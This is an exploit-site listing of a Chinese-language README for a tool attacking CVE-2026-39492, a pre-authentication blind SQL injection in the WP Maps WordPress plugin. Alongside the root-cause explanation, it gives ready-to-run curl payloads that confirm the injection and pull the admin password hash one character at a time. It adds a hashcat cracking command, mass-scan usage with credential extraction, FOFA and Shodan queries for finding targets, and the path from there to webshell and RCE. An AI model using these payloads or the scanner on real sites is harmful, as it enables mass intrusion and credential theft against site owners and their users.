Sploitus

Exploit for CVE-2026-39492

kitploit · 2026-08-31

Exploit Code

MARKDOWN289 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-39492
![](https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white) ![](https://img.shields.io/badge/CVE-2026--39492-CC0000?style=flat-square) ![](https://img.shields.io/badge/CVSS-9.3_CRITICAL-CC0000?style=flat-square) ![](https://img.shields.io/badge/license-MIT-97CA00?style=flat-square)

### CVE-2026-39492 — WP Maps 盲 SQL 注入扫描器

#### 通过反引号绕过实现未认证时间型盲 SQL 注入 → 数据库提取

* * *

## 概述

**CVE-2026-39492** 是 **WP Maps** 插件(wp-google-map-plugin)**≤ 4.9.1** 版本中存在的一个严重级别(CVSS 9.3)未认证盲 SQL 注入漏洞。

`wpgmp_ajax_call` AJAX 处理器通过 `wp_ajax_nopriv_` 注册,允许未认证访问。`location_id` 参数会经由 `FlipperCode_Model_Base::is_column()` 传递——该函数错误地将**以反引号包裹的输入** 视为可信的 SQL 列标识符,从而完全绕过了 WordPress 的 `esc_sql()` 清理。

### 受影响版本

WP Maps 版本| 状态  
---|---  
≤ 4.9.1| 存在漏洞  
≥ 4.9.2| 已修复  
  
> **活跃安装量:** 100,000+

* * *

## 漏洞机制

### 根本原因

在插件的数据库抽象层中,`is_column()` 会检查用户输入是否被反引号包裹:

root@kitploit:~
    
    
    // Vulnerable: backtick-wrapped input treated as trusted column identifier
    function is_column($value) {
        if (preg_match('/^`.*`$/', $value)) {
            return true;  // bypasses esc_sql() entirely!
        }
        return false;
    }
    

当 `is_column()` 返回 `true` 时,输入会在未经 `esc_sql()` 转义的情况下直接传入 SQL 查询,从而允许:

root@kitploit:~
    
    
    location_id=`1` AND SLEEP(5) AND `1`=`1
    

### 攻击流程

root@kitploit:~
    
    
    1. Detect WP Maps via readme.txt → extract version
    2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
    3. Inject backtick-wrapped payload in location_id parameter
    4. Measure response time — SLEEP(N) confirms SQL injection
    5. Extract data via boolean/time-based blind technique
    

### 为什么是 CVSS 9.3

* * *

## 安装

root@kitploit:~
    
    
    git clone https://github.com/shinthink/CVE-2026-39492.git
    cd CVE-2026-39492
    pip install -r requirements.txt
    

* * *

## 用法

root@kitploit:~
    
    
    # Single target detection
    python cve_2026_39492.py -t target.com
    
    # Mass scan
    python cve_2026_39492.py -f targets.txt
    
    # Mass scan + save results
    python cve_2026_39492.py -f targets.txt -o sqli.txt
    
    # Single target with credential extraction
    python cve_2026_39492.py -t target.com --extract -v
    
    # Verbose output
    python cve_2026_39492.py -t target.com -v
    

### 参数

root@kitploit:~
    
    
      -t, --target      Single target (domain or IP)
      -f, --file        Target list, one per line
      -o, --output      Save vulnerable targets to file
      --threads         Concurrent workers (default: 20)
      --extract         Extract admin credentials from confirmed targets
      -v, --verbose     Show detailed output
    

* * *

## 概念验证

### 单目标

root@kitploit:~
    
    
    $ python cve_2026_39492.py -t target.com -v
    

root@kitploit:~
    
    
      CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
      CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass
    
      Target: WP Maps (wp-google-map-plugin) <= 4.9.1
      Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
      Bypass: backtick-wrapped input bypasses esc_sql()
    
        [+] WP Maps detected: v4.9.0
        [*] SQLi test: 6.2s (threshold: 5s)
        [+] Blind SQLi CONFIRMED (response: 6.2s)
    
      Host        : target.com
      WP Maps     : YES v4.9.0
      SQLi        : YES
      Resp time   : 6.2s
      Time        : 7.1s
    

### 凭据提取

root@kitploit:~
    
    
    $ python cve_2026_39492.py -t target.com --extract -v
    

root@kitploit:~
    
    
        [+] Blind SQLi CONFIRMED (response: 5.8s)
        [*] Extracting admin credentials via blind SQLi...
        [*] Extracting: admin_user
        [*] Extracting: $P$BqVg...
    
      Admin User  : admin_user
      Admin Hash  : $P$BqVg7xX...
    

### 批量扫描

root@kitploit:~
    
    
      CVE-2026-39492  WP Maps Blind SQLi Scanner
      Targets: 2500 | Threads: 20
      Vector: wpgmp_ajax_call → location_id backtick bypass
      ───────────────────────────────────────────────────────
    
      [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
      [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
      [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com
    
      ───────────────────────────────────────────────────────
      Scan complete  |  Time: 320s
      ───────────────────────────────────────────────────────
      Targets        : 2500
      WP Maps found  : 47
      SQLi confirmed : 12
    

### 手动利用

**步骤 1 — 检测插件**

root@kitploit:~
    
    
    curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
    

**步骤 2 — 使用 SLEEP 测试 SQLi**

root@kitploit:~
    
    
    time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
      -d 'action=wpgmp_ajax_call' \
      -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
    
    # Response > 5 seconds → VULNERABLE
    

**步骤 3 — 通过盲 SQLi 提取管理员哈希**

root@kitploit:~
    
    
    # Check first character of admin hash
    time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
      -d 'action=wpgmp_ajax_call' \
      -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
    
    # Response > 3 seconds → first char is ASCII 36 = '$'
    

**步骤 4 — 破解哈希并登录 → 完全 RCE**

root@kitploit:~
    
    
    hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
    

* * *

## FOFA 搜索语法

root@kitploit:~
    
    
    body="wp-google-map-plugin"
    

## Shodan

root@kitploit:~
    
    
    http.html:"wp-google-map-plugin"
    

* * *

## 影响

成功利用该漏洞可提取**整个 WordPress 数据库** :

  * 管理员密码哈希 → 破解 → 管理员登录 → 插件上传 → RCE
  * 用户 PII、电子邮件、会话令牌
  * 存储在 wp_options 中的 API 密钥
  * 如果存在 MySQL FILE 权限:`SELECT ... INTO OUTFILE` → webshell → 直接 RCE



* * *

## 免责声明

> **仅供教育和授权测试用途。**
> 
> 本软件面向执行授权渗透测试的安全专业人员、审计自有基础设施的组织以及研究漏洞利用的研究人员。
> 
> 未经授权访问计算机系统属违法行为,可能违反:
> 
>   * 美国:计算机欺诈和滥用法(18 U.S.C. 1030)
>   * 印度尼西亚:UU ITE 第 30 条和第 46 条
>   * 欧盟:2013/40/EU 指令
>   * 英国:1990 年计算机滥用法
> 

> 
> 作者对滥用行为不承担任何责任。

* * *

## 参考

* * *

本项目与 Flipper Code 或 WP Maps 无任何关联。